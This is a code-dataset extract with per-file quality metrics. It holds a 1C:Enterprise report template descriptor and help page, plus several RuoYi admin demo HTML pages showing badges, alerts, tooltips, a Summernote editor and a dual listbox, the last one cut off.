{"qsc_code_num_words": 830, "qsc_code_num_chars": 9007.0, "qsc_code_mean_word_length": 3.92891566, "qsc_code_frac_words_unique": 0.22891566, "qsc_code_frac_chars_top_2grams": 0.10058264, "qsc_code_frac_chars_top_3grams": 0.0766636, "qsc_code_frac_chars_top_4grams": 0.05979761, "qsc_code_frac_chars_dupe_5grams": 0.61913523, "qsc_code_frac_chars_dupe_6grams": 0.54063171, "qsc_code_frac_chars_dupe_7grams": 0.49770009, "qsc_code_frac_chars_dupe_8grams": 0.48696719, "qsc_code_frac_chars_dupe_9grams": 0.4317694, "qsc_code_frac_chars_dupe_10grams": 0.4041705, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0094552, "qsc_code_frac_chars_whitespace": 0.50682802, "qsc_code_size_file_byte": 9007.0, "qsc_code_num_lines": 193.0, "qsc_code_num_chars_line_max": 190.0, "qsc_code_num_chars_line_mean": 46.66839378, "qsc_code_frac_chars_alphabet": 0.72467357, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.52356021, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0052356, "qsc_code_frac_chars_string_length": 0.17808371, "qsc_code_frac_chars_long_word_length": 0.00233152, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.05084934, "qsc_codehtml_num_chars_text": 458.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1c-syntax/ssl_3_1
src/cf/Reports/АналитическийОтчетПоАнкетированию/Templates/ОсновнаяСхемаКомпоновкиДанных.xml
<?xml version="1.0" encoding="UTF-8"?> <MetaDataObject xmlns="http://v8.1c.ru/8.3/MDClasses" xmlns:app="http://v8.1c.ru/8.2/managed-application/core" xmlns:cfg="http://v8.1c.ru/8.1/data/enterprise/current-config" xmlns:cmi="http://v8.1c.ru/8.2/managed-application/cmi" xmlns:ent="http://v8.1c.ru/8.1/data/enterprise" xmlns:lf="http://v8.1c.ru/8.2/managed-application/logform" xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows" xmlns:xen="http://v8.1c.ru/8.3/xcf/enums" xmlns:xpr="http://v8.1c.ru/8.3/xcf/predef" xmlns:xr="http://v8.1c.ru/8.3/xcf/readable" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.18"> <Template uuid="999616ea-0faa-4ae2-9841-6a6997ea6694"> <Properties> <Name>ОсновнаяСхемаКомпоновкиДанных</Name> <Synonym> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Основная схема компоновки данных</v8:content> </v8:item> </Synonym> <Comment/> <TemplateType>DataCompositionSchema</TemplateType> </Properties> </Template> </MetaDataObject>
1,286
ОсновнаяСхемаКомпоновкиДанных
xml
ru
xml
data
{"qsc_code_num_words": 226, "qsc_code_num_chars": 1286.0, "qsc_code_mean_word_length": 3.99557522, "qsc_code_frac_words_unique": 0.34070796, "qsc_code_frac_chars_top_2grams": 0.09966777, "qsc_code_frac_chars_top_3grams": 0.13289037, "qsc_code_frac_chars_top_4grams": 0.16611296, "qsc_code_frac_chars_dupe_5grams": 0.40642303, "qsc_code_frac_chars_dupe_6grams": 0.40642303, "qsc_code_frac_chars_dupe_7grams": 0.33776301, "qsc_code_frac_chars_dupe_8grams": 0.27021041, "qsc_code_frac_chars_dupe_9grams": 0.05315615, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.08774834, "qsc_code_frac_chars_whitespace": 0.06065319, "qsc_code_size_file_byte": 1286.0, "qsc_code_num_lines": 16.0, "qsc_code_num_chars_line_max": 869.0, "qsc_code_num_chars_line_mean": 80.375, "qsc_code_frac_chars_alphabet": 0.6589404, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.52021773, "qsc_code_frac_chars_long_word_length": 0.02799378, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/labels_tips.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('标签 & 提示')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeIn"> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>徽章 (Badges)</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p> 要添加徽章,只需要在元素上添加<code>.badge</code>即可,改变徽章的颜色可使用如下class,如<code>.badge-primary</code>。 </p> <p><span class="badge">空</span> </p> <p><span class="badge badge-primary">badge-primary</span> </p> <p><span class="badge badge-info">badge-info</span> </p> <p><span class="badge badge-success">badge-success</span> </p> <p><span class="badge badge-warning">badge-warning</span> </p> <p><span class="badge badge-danger">badge-danger</span> </p> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>标签 (Labels)</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p> 要添加徽章,只需要在元素上添加class<code>.label</code>即可,如果需要修改颜色,添加如下class,如<code>.label-primary</code> </p> <p><span class="label">空</span> </p> <p><span class="label label-primary">label-primary</span> </p> <p><span class="label label-info">label-info</span> </p> <p><span class="label label-success">label-success</span> </p> <p><span class="label label-warning">label-warning</span> </p> <p><span class="label label-danger">label-danger</span> </p> </div> </div> </div> </div> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>通知样式</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="alert alert-success"> RuoYi是一个很棒的后台UI框架 <a class="alert-link" href="#">了解更多</a>. </div> <div class="alert alert-info"> RuoYi是一个很棒的后台UI框架 <a class="alert-link" href="#">了解更多</a>. </div> <div class="alert alert-warning"> RuoYi是一个很棒的后台UI框架 <a class="alert-link" href="#">了解更多</a>. </div> <div class="alert alert-danger"> RuoYi是一个很棒的后台UI框架 <a class="alert-link" href="#">了解更多</a>. </div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>带关闭按钮的通知样式</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <div class="alert alert-success alert-dismissable"> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">×</button> RuoYi是一个很棒的后台UI框架 <a class="alert-link" href="#">了解更多</a>. </div> <div class="alert alert-info alert-dismissable"> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">×</button> RuoYi是一个很棒的后台UI框架 <a class="alert-link" href="#">了解更多</a>. </div> <div class="alert alert-warning alert-dismissable"> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">×</button> RuoYi是一个很棒的后台UI框架 <a class="alert-link" href="#">了解更多</a>. </div> <div class="alert alert-danger alert-dismissable"> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">×</button> RuoYi是一个很棒的后台UI框架 <a class="alert-link" href="#">了解更多</a>. </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>工具提示</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="text-center"> <h4>工具提示示例 <small>深色背景</small></h4> <div> <button type="button" class="btn btn-default" data-toggle="tooltip" data-placement="left" title="这里是提示内容">左侧提示</button> <button type="button" class="btn btn-default" data-toggle="tooltip" data-placement="top" title="这里是提示内容">顶部提示</button> <button type="button" class="btn btn-default" data-toggle="tooltip" data-placement="bottom" title="这里是提示内容">底部提示</button> <button type="button" class="btn btn-default" data-toggle="tooltip" data-placement="right" title="这里是提示内容">右侧提示</button> </div> <br> <h4>工具提示 - 单击提示</h4> <div class="text-center" > <button type="button" class="btn btn-primary" data-toggle="popover" data-placement="auto left" data-content="气泡提示"> 气泡提示左 </button> <button type="button" class="btn btn-primary" data-toggle="popover" data-placement="auto top" data-content="气泡提示"> 气泡提示顶部 </button> <button type="button" class="btn btn-primary" data-toggle="popover" data-placement="auto bottom" data-content="气泡提示"> 气泡提示底部 </button> <button type="button" class="btn btn-primary" data-toggle="popover" data-placement="auto right" data-content="气泡提示"> 气泡提示右 </button> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <script type="text/javascript"> $("[data-toggle='tooltip']").tooltip(); $("[data-toggle=popover]").popover(); </script> </body> </html>
11,674
labels_tips
html
en
html
code
{"qsc_code_num_words": 979, "qsc_code_num_chars": 11674.0, "qsc_code_mean_word_length": 4.19918284, "qsc_code_frac_words_unique": 0.1215526, "qsc_code_frac_chars_top_2grams": 0.07394794, "qsc_code_frac_chars_top_3grams": 0.04597422, "qsc_code_frac_chars_top_4grams": 0.03648747, "qsc_code_frac_chars_dupe_5grams": 0.82729263, "qsc_code_frac_chars_dupe_6grams": 0.81367064, "qsc_code_frac_chars_dupe_7grams": 0.78594016, "qsc_code_frac_chars_dupe_8grams": 0.71977621, "qsc_code_frac_chars_dupe_9grams": 0.71977621, "qsc_code_frac_chars_dupe_10grams": 0.71977621, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00525947, "qsc_code_frac_chars_whitespace": 0.51139284, "qsc_code_size_file_byte": 11674.0, "qsc_code_num_lines": 237.0, "qsc_code_num_chars_line_max": 150.0, "qsc_code_num_chars_line_mean": 49.25738397, "qsc_code_frac_chars_alphabet": 0.71476157, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.75, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.16678088, "qsc_code_frac_chars_long_word_length": 0.00376906, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.13088916, "qsc_codehtml_num_chars_text": 1528.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1c-syntax/ssl_3_1
src/cf/Reports/АналитическийОтчетПоАнкетированию/Ext/Help/ru.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head><meta content="text/html;charset=utf-8" http-equiv="content-type"></meta><link rel="stylesheet" type="text/css" href="v8help://service_book/service_style"></link><meta name="GENERATOR" content="MSHTML 11.00.9600.17496"></meta></head><body> <p>Предназначен для анализа ответов респондентов на <a href="Document.Анкета.Form.ФормаДокумента/Help">анкеты</a>.</p> <p>Открывается по команде <strong>Аналитический отчет по анкетированию</strong> в разделе <strong>Анкетирование</strong>.</p> <p>Отчет позволяет просматривать результаты анкетирования в различных представлениях: ответы на простые <a href="ChartOfCharacteristicTypes.ВопросыДляАнкетирования/Help">вопросы</a> и вопросы с агрегируемыми показателями, ответы на табличные вопросы; а также сравнивать ответы на одни и те же вопросы, заданные в разных опросах.</p> <p>Для простого анализа результатов анкетирования в отчете предусмотрен набор предопределенных вариантов отчета. В случае если существующие варианты не устраивают, то можно создать и сохранить свои. </p> <p>Воспользуйтесь командой <strong>Еще</strong> <strong>- Выбрать вариант отчета</strong>, для того чтобы вывести список доступных для выбора вариантов:</p> <ul><li><strong>Просмотр ответов на простые вопросы</strong> - в отчете выводятся ответы респондентов на простые вопросы (все, кроме табличных). Данные могут быть сгруппированы по опросу, респондентам и вопросам. Можно также установить отбор по <a href="Document.НазначениеОпросов.Form.ФормаСписка/Help">опросам</a>, респондентам и вопросам. </li> <li><strong>Просмотр ответов на табличные вопросы (плоский вид)</strong> - в отчете выводятся табличные вопросы. Данные группируются по респондентам и вопросам, также можно установить отбор по опросу, респонденту и вопросам. С помощью двойного щелчка мышью по респонденту можно перейти в соответствующий список приложения и посмотреть данные по этому респонденту, с помощью двойного щелчка мышью по соответствующей строке можно посмотреть более подробно <a href="ChartOfCharacteristicTypes.ВопросыДляАнкетирования.Form.ФормаЭлемента/Help">вопрос</a>, на который был получен данный ответ. </li> <li><strong>Просмотр ответов на табличные вопросы (табличный вид)</strong> отличается от предыдущего варианта внешним видом: данные выводятся не в одной таблице с группировкой, а в отдельных таблицах по каждому респонденту. </li> <li><strong>Простые вопросы с агрегируемыми показателями</strong> - в отчет выводятся простые вопросы с числовым ответом. По каждому вопросу рассчитывается количество ответивших респондентов, среднее, минимальное и максимальное значение ответа, а также рассчитывается сумма всех ответов. Можно установить отбор по опросу и вопросам. </li> <li><strong>Количество ответов на простые вопросы</strong> - отчет показывает количество ответов на все простые вопросы. Можно установить отбор по опросу и вопросу. </li> <li><strong>Сравнение по опросам количества ответов на простые вопросы</strong> - отчет показывает количество ответов на все простые вопросы в разрезе опросов (опросы выводятся в колонках). Можно установить отбор по вопросам и опросу. </li> <li>Если в табличных вопросах используются числовые агрегируемые ответы, то с помощью варианта <strong>Табличные вопросы с агрегируемыми показателями</strong> по каждому вопросу можно получить количество ответивших, среднее, минимальное, максимальное значение или сумму ответа. Можно установить отбор по <a href="Document.НазначениеОпросов.Form.ФормаДокумента/Help">опросу</a> и вопросу. </li> <li>Если табличные вопросы с агрегируемыми ответами используются в разных опросах, то с помощью варианта <strong>Сравнение по опросам табличных вопросов с агрегируемыми показателями</strong> можно сравнить табличные вопросы. </li> <li><strong>Количество ответов на табличные вопросы</strong> - отчет показывает количество ответов на все табличные вопросы. Можно отобрать ответы по различным признакам, например, по вопросу.</li></ul><h3 style="MARGIN: 0cm 0cm 6pt">См. также: </h3> <ul><li> <div style="MARGIN: 0cm 0cm 6pt"><a href="CommonForm.ФормаОтчета/Help">Работа с отчетами</a>;</div> </li> <li> <div style="MARGIN: 0cm 0cm 6pt"><a href="CommonForm.ФормаНастроекОтчета/Help">Настройки отчетов</a>.</div></li></ul></body></html>
4,312
ru
html
ru
html
code
{"qsc_code_num_words": 586, "qsc_code_num_chars": 4312.0, "qsc_code_mean_word_length": 5.87372014, "qsc_code_frac_words_unique": 0.37372014, "qsc_code_frac_chars_top_2grams": 0.04183614, "qsc_code_frac_chars_top_3grams": 0.02963393, "qsc_code_frac_chars_top_4grams": 0.03195816, "qsc_code_frac_chars_dupe_5grams": 0.25537478, "qsc_code_frac_chars_dupe_6grams": 0.18680999, "qsc_code_frac_chars_dupe_7grams": 0.13887275, "qsc_code_frac_chars_dupe_8grams": 0.13887275, "qsc_code_frac_chars_dupe_9grams": 0.0697269, "qsc_code_frac_chars_dupe_10grams": 0.0697269, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00753051, "qsc_code_frac_chars_whitespace": 0.10691095, "qsc_code_size_file_byte": 4312.0, "qsc_code_num_lines": 28.0, "qsc_code_num_chars_line_max": 589.0, "qsc_code_num_chars_line_mean": 154.0, "qsc_code_frac_chars_alphabet": 0.88600364, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.32142857, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.12615955, "qsc_code_frac_chars_long_word_length": 0.08998145, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.71011132, "qsc_codehtml_num_chars_text": 3062.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 1, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 0, "qsc_codehtml_num_chars_text": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/summernote.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('Summernote富文本编辑器')" /> <th:block th:include="include :: summernote-css" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content"> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>Summernote 富文本编辑器</h5> </div> <div class="ibox-content no-padding"> <div class="summernote"> <h2>若依后台管理系统</h2> <p>ruoyi是一个完全响应式,基于Bootstrap3.3.7最新版本开发的扁平化主题,她采用了主流的左右两栏式布局,使用了Html5+CSS3等现代技术,她提供了诸多的强大的可以重新组合的UI组件,并集成了最新的jQuery版本(v2.1.1),当然,也集成了很多功能强大,用途广泛的就jQuery插件,她可以用于所有的Web应用程序,如<b>网站管理后台</b>,<b>网站会员中心</b>,<b>CMS</b>,<b>CRM</b>,<b>OA</b>等等,当然,您也可以对她进行深度定制,以做出更强系统。</p> <p> <b>当前版本:</b>v4.7.5 </p> <p> <span class="label label-warning">免费开源</span> </p> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <h2>Summernote</h2> <p> Summernote是一个简单的基于Bootstrap的WYSIWYG富文本编辑器 </p> <div class="alert alert-warning"> 官方文档请参考: <a href="https://github.com/summernote/summernote">https://github.com/summernote/summernote</a> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>编辑/保存为html代码示例</h5> <button id="edit" class="btn btn-primary btn-xs m-l-sm" onclick="edit()" type="button">编辑</button> <button id="save" class="btn btn-primary btn-xs" onclick="save()" type="button">保存</button> </div> <div class="ibox-content" id="eg"> <div class="click2edit wrapper"> <h3>你好,若依 </h3> <p>H+是一个完全响应式,基于Bootstrap3.3.7最新版本开发的扁平化主题,她采用了主流的左右两栏式布局,使用了Html5+CSS3等现代技术,她提供了诸多的强大的可以重新组合的UI组件,并集成了最新的jQuery版本(v2.1.1),当然,也集成了很多功能强大,用途广泛的就jQuery插件,她可以用于所有的Web应用程序,如<b>网站管理后台</b>,<b>网站会员中心</b>,<b>CMS</b>,<b>CRM</b>,<b>OA</b>等等,当然,您也可以对她进行深度定制,以做出更强系统。</p> <p> <b>当前版本:</b>v4.7.5 </p> <p> <span class="label label-warning">开源免费</span> </p> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <th:block th:include="include :: summernote-js" /> <script> $(document).ready(function () { $('.summernote').summernote({ lang: 'zh-CN' }); }); var edit = function () { $("#eg").addClass("no-padding"); $('.click2edit').summernote({ lang: 'zh-CN', focus: true }); }; var save = function () { $("#eg").removeClass("no-padding"); var aHTML = $('.click2edit').summernote('code'); $('.click2edit').summernote('destroy'); }; </script> </body> </html>
3,923
summernote
html
zh
html
code
{"qsc_code_num_words": 525, "qsc_code_num_chars": 3923.0, "qsc_code_mean_word_length": 3.17333333, "qsc_code_frac_words_unique": 0.31619048, "qsc_code_frac_chars_top_2grams": 0.08643457, "qsc_code_frac_chars_top_3grams": 0.06482593, "qsc_code_frac_chars_top_4grams": 0.06482593, "qsc_code_frac_chars_dupe_5grams": 0.60684274, "qsc_code_frac_chars_dupe_6grams": 0.5120048, "qsc_code_frac_chars_dupe_7grams": 0.44477791, "qsc_code_frac_chars_dupe_8grams": 0.44477791, "qsc_code_frac_chars_dupe_9grams": 0.42797119, "qsc_code_frac_chars_dupe_10grams": 0.42797119, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01842914, "qsc_code_frac_chars_whitespace": 0.41906704, "qsc_code_size_file_byte": 3923.0, "qsc_code_num_lines": 93.0, "qsc_code_num_chars_line_max": 291.0, "qsc_code_num_chars_line_mean": 42.1827957, "qsc_code_frac_chars_alphabet": 0.71259324, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.50549451, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.15294418, "qsc_code_frac_chars_long_word_length": 0.00662758, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.21029824, "qsc_codehtml_num_chars_text": 825.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 0, "qsc_codehtml_num_chars_text": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/duallistbox.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('左右互选组件')" /> <th:block th:include="include :: bootstrap-duallistbox-css" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox"> <div class="ibox-title"> <h5>双重列表框 <small>https://github.com/istvan-ujjmeszaros/bootstrap-duallistbox</small></h5> </div> <div class="ibox-content"> <p> Bootstrap Dual Listbox是针对Twitter Bootstrap进行了优化的响应式双列表框。它适用于所有现代浏览器和触摸设备。 </p> <form id="form" action="#" class="wizard-big"> <select class="form-control dual_select" multiple> <option value="1">若依1</option> <option value="2">若依2</option> <option value="3">若依3</option> <option selected value="4">若依4</option> <option selected value="5">若依5</option> <option value="6">若依6</option> <option value="7">若依7</option> <option value="8">若依8</option> <option value="9">若依9</option> <option value="10">若依10</option> <option value="11">若依11</option> <option value="12">若依12</option> </select> </form> <hr> <div class="form-group"> <label class="font-noraml">相关参数详细信息</label> <div><a href="http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-duallistbox" target="_blank">http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-duallistbox</a></div> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <th:block 